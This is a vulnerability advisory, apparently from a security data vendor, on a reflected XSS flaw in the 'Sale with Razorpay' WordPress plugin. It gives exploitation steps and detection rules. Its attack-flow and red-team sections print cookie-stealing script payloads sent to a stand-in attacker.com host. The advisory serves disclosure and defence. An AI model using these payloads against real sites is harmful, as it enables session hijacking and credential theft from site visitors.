CVE-2025-23516
Executive Summary
CVE-2025-23516 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Sale with Razorpay" (slug: sell-with-razorpay) by Brainvireinfo, affecting all versions up to and including 1.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, but requires user interaction (e.g., clicking a crafted link). Given the UNKNOWN/UNPATCHED status and the plugin's presence in the WordPress ecosystem, this poses a significant risk to sites using this plugin for Razorpay payment processing.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Users should verify they are not running version 1.0 or earlier and should consider removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – The injected script can affect other resources.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: High. The combination of low attack complexity, no privileges required, and the potential for session hijacking or credential theft makes this a serious threat for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS (CWE-79). The plugin fails to sanitize or escape user-supplied input before including it in the HTML output. An attacker can craft a malicious URL containing JavaScript payloads in parameters (e.g., ?param=<script>alert(1)</script>). When a victim visits this URL, the server reflects the payload back in the response without proper encoding, causing the browser to execute the script.
Root Cause: The plugin likely uses echo $_GET['param'] or similar without applying WordPress's esc_html() or wp_kses() functions.
Attack Flow:
- Attacker crafts a malicious link:
https://victim-site.com/?razorpay_error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Victim clicks the link (e.g., via phishing email).
- The plugin reflects the
razorpay_errorparameter in the page without sanitization. - The victim's browser executes the script, sending cookies to the attacker.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in a WordPress plugin might look like:
Vulnerable Code (PHP):
<?php
$error = $_GET['razorpay_error'];
echo "<div class='error'>$error</div>";
?>
Patched Code (Hypothetical):
<?php
$error = isset($_GET['razorpay_error']) ? esc_html($_GET['razorpay_error']) : '';
echo "<div class='error'>$error</div>";
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with "Sale with Razorpay" plugin version <= 1.0.
- A web browser or tool like
curl.
Step-by-Step Exploitation:
- Identify a vulnerable parameter (e.g.,
razorpay_error,message, orerror). Use a fuzzer or manual testing. - Craft a payload:
<script>alert(document.cookie)</script> - Send the malicious URL to the victim:
http://target-site.com/?razorpay_error=<script>alert(document.cookie)</script> - If successful, the victim's browser will execute the script.
Example using curl (for testing):
curl -v "http://target-site.com/?razorpay_error=<script>alert(1)</script>"
Advanced Payload (Session Hijacking):
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
<script>tags or suspicious parameters. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
Hardening:
- Remove the plugin if not essential.
- If removal is not possible, apply a virtual patch via WAF rules (e.g., ModSecurity).
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with parameters containing
<script>,onerror=,onload=, or similar XSS vectors. - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP requests with parameters containing
- File IOCs:
- Plugin file:
/wp-content/plugins/sell-with-razorpay/(version <= 1.0).
- Plugin file:
- Log IOCs:
- Web server logs showing
GET /?razorpay_error=<script>...entries.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_23516_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Sale with Razorpay plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-23516"
strings:
$xss_payload = /(?i)(<script|onerror=|onload=)/
$plugin_param = /razorpay_error|message|error/
condition:
$xss_payload and $plugin_param
}
Sigma Rule
title: Reflected XSS Attempt Against Sale with Razorpay
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the vulnerable plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'razorpay_error='
- 'message='
- 'error='
c-uri|contains|all:
- '<script'
- '>'
condition: selection
falsepositives:
- Legitimate use of script tags in error messages (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23516 Reflected XSS in Sale with Razorpay"; flow:to_server; content:"razorpay_error"; http_uri; nocase; content:"<script"; http_uri; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Remove the plugin from all WordPress installations if not critical.
- If removal is not possible, disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Monitor web server logs for exploitation attempts.
Long-Term Fix:
- The vendor (Brainvireinfo) must release a patched version that sanitizes all user inputs using
esc_html(),wp_kses(), or similar WordPress functions. - Users should subscribe to security advisories for the plugin.
Workaround:
- Add the following to
.htaccess(Apache) to block malicious parameters:
RewriteEngine On
RewriteCond %{QUERY_STRING} (<script|onerror=|onload=) [NC]
RewriteRule ^ - [F,L]
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.